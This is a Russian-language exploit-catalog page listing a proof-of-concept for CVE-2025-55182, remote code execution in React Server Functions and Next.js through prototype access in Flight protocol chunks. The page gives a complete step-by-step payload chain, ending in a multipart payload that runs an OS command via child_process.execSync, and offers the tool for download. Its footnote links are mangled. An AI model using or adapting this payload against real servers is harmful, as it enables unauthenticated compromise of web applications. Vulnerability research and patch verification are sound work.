Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182 — Proof-of-concept эксплойт для CVE-2025-55182, достигающий удаленного выполнения кода в React Server Functions через загрязнение прототипа и специально созданные фрагменты протокола Flight. | Kitploit
Инструменты/GitHubGitHub/andressuarezmonk/cve-2025-55182
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubandressuarezmonk/cve-2025-55182

CVE-2025-55182

Proof-of-concept эксплойт для CVE-2025-55182, достигающий удаленного выполнения кода в React Server Functions через загрязнение прототипа и специально созданные фрагменты протокола Flight.

Репозиторий
9 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182

Оригинальный автор: https://github.com/msanft/CVE-2025-55182

Эта уязвимость позволяет выполнить удалённый код (RCE) в серверных функциях React, например предоставляемых Next.js, через небезопасные ссылки на прототипы.

Я не эксперт в React или Next.js, поэтому относитесь ко всей представленной здесь информации скептически.

Предыстория

React предлагает серверные функции1, которые можно рассматривать как своего рода RPC- через-HTTP. Они могут использоваться для получения данных от соседних узлов для обеспечения низкой задержки или выполнения аутентифицированных запросов, для которых у клиента нет учётных данных.

React использует так называемый React Flight Protocol2 для сериализации значений, передаваемых серверным функциям.

Клиент передаёт серверу «чанки» (chunks), например через данные формы:

root@kitploit:~
files = {
    "0": (None, '["$1"]'),
    "1": (None, '{"object":"fruit","name":"$2:fruitName"}'),
    "2": (None, '{"fruitName":"cherry"}'),
}

Как показано, они могут содержать ссылки друг на друга. Приведённая выше нагрузка десериализуется на сервере в следующий объект:

root@kitploit:~
{ object: 'fruit', name: 'cherry' }

Сам формат немного сложнее и допускает более сложную сериализацию и десериализацию, но это даёт базовое понимание для самой уязвимости.

Уязвимость

До этого коммита3 при обходе чанков для разрешения ссылок, например, получения fruitName из чанка 2 в примере выше, React не проверял, установлен ли запрашиваемый ключ на объекте. Это позволяло получить прототип объекта4.

Это можно продемонстрировать с помощью такой нагрузки:

root@kitploit:~
files = {
    "0": (None, '["$1:__proto__:constructor:constructor"]'),
    "1": (None, '{"x":1}'),
}

Которая десериализуется в конструктор функции5:

root@kitploit:~
[Function: Function]

Когда чанк с ID 0 является не массивом, а объектом, мы можем установить ключ then в конструктор функции. Затем объект возвращается функцией decodeReplyFromBusboy и ожидается (await) Next.js:

root@kitploit:~
// action-handler.ts:888 (до исправления)
boundActionArguments = await decodeReplyFromBusboy(
    busboy,
    serverModuleMap,
    { temporaryReferences }
)

Когда это возвращает thenable, await в вызывающем коде вызовет его. Это происходит с такой нагрузкой:

root@kitploit:~
files = {
    "0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
    "1": (None, '{"x":1}'),
}

Что приводит к такой ошибке:

root@kitploit:~
SyntaxError: Unexpected token 'function'
    at Object.Function [as then] (<anonymous>) {
      digest: '1259793845'
    }

Ошибка выглядит так, потому что V8 вызывает await-функцию с внутренними функциями resolve и reject, которые при преобразовании в строку (toString) сериализуются примерно так:

root@kitploit:~
function () { [native code] }

Эксплуатация

Поскольку мы можем тривиально получить конструктор Function, очевидный путь — найти call-gadget, который вызывает конструктор с управляемым пользователем значением (т.е. кодом функции в виде строки), а затем вызывает возвращённую функцию.

Есть несколько мест, которые могут вызвать конструктор функции, например resolveServerReference, где id — это управляемый объект, а lastIndexOf может быть переопределён для возврата управляемой пользователем строки (например, через Array.prototype.join), а slice можно переопределить на конструктор функции. Однако это место не работает, так как второй вызов .slice() передаёт число в качестве первого аргумента, которое — насколько мне известно — никогда не может быть обработано конструктором функции.

Здесь приходит блестящая идея от maple31426. Когда getChunk берёт чанк с ID 0 в качестве корневой ссылки для начала разрешения цепочки ссылок, этот же самый чанк может разрешиться в поддельный «фейковый чанк».

Мы можем сослаться на поддельный чанк 0 в чанке 1, используя синтаксис $@, который возвращает «сырой» чанк, а не его разрешённое значение:

root@kitploit:~
case "@":
  return (
    (obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
  );

Комбинируя это с нашей перезаписью then из предыдущего раздела, мы можем создать нечто подобное:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then"}'),
    "1": (None, '"$@0"'),
}

Здесь чанк 0 перезаписывает свой собственный .then() на .then() своего собственного сырого представления чанка. Проще говоря, мы перезаписываем свой .then() на Chunk.prototype.then, который существует, поскольку Chunk являются thenables:

root@kitploit:~
Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {
        case "resolved_model":
          initializeModelChunk(this);
      }
      // ...

С приведённой выше нагрузкой Chunk.prototype.then в конечном итоге вызывается с поддельным чанком с ID 0.

Как показано выше, когда .status на нашем фейковом чанке равен resolved_model:

root@kitploit:~
files = {
    "0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
    "1": (None, '"$@0"'),
}

Мы попадаем в initializeModelChunk. Здесь .value парсится как JSON, а затем ссылки разрешаются на возвращённом объекте с использованием «внешнего» контекста наших чанков с ID 0 и 1:

root@kitploit:~
function initializeModelChunk(chunk) {
    // ...
    var rawModel = JSON.parse(resolvedModel),
        value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
    // ...

Внутри этого мы теперь получаем второй проход вычислений с немного большим количеством значений, к которым у нас есть доступ благодаря уже разрешённому внешнему контексту.

Существует call-gadget в обработке данных-blob с префиксом $B в протоколе flight:

root@kitploit:~
case "B":
  return (
    (obj = parseInt(value.slice(2), 16)),
    response._formData.get(response._prefix + obj)
  );

Используя специальное поле _response, мы контролируем свойство response поддельного чанка:

root@kitploit:~
// в initializeModelChunk
value = reviveModel(chunk._response, // ...

С этим мы можем создать объект с поддельными свойствами ._formData и ._prefix:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"return foo; // ",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

.reason необходимо добавить, чтобы обойти сбой при вызове toString в `initializeModelChunk:

root@kitploit:~
var rootReference = -1 === chunk.reason ? void 0 : chunk.reason.toString(16), resolvedModel = chunk.value;

Указывая ._formData на конструктор функции, а ._prefix на наш код, мы получаем вызов-гаджет для конструктора функции в десериализации blob:

root@kitploit:~
response._formData.get(response._prefix + "0")
// становится
Function("return foo; // 0")

Наша сконструированная функция затем возвращается parseModelString как метод .then() поддельного чанка, который также ожидается (await), поскольку всё это происходит в одной цепочке разрешения промисов. Таким образом, возвращая thenable, наша сконструированная функция вызывается. Это и есть требуемый call-gadget, упомянутый выше.

Собирая всё вместе с реальной нагрузкой для RCE, мы получаем нечто подобное:

root@kitploit:~
crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"process.mainModule.require('child_process').execSync('calc');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

Бонус, который делает эту уязвимость ещё хуже, заключается в том, что всё это происходит во время десериализации, до того как запрошенное действие будет проверено в getActionModIdOrError. Таким образом, установка заголовка типа Next-Action: foo достаточна для срабатывания уязвимости.

Исправление

Использование ссылок на чанки для получения свойств прототипа исправлено с помощью этой проверки:

root@kitploit:~
@@ -78,7 +80,10 @@ export function preloadModule<T>(
 
 export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }

Footnotes

  1. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/react.dev/reference/rsc/server-functions%3E ↩

  2. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/tonyalicea.dev/blog/understanding-react-server-components/%3E ↩

  3. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/github.com/facebook/react/pull/35277/commits/e2fd5dc6ad973dd3f220056404d0ae0a8707998d%3E ↩

  4. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Advanced_JavaScript_objects/Object_prototypes%3E ↩

  5. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function%3E ↩

  6. https://raw.githubusercontent.com/andressuarezmonk/cve-2025-55182/master/%3Chttps:/x.com/maple3142%3E ↩

Скачать инструмент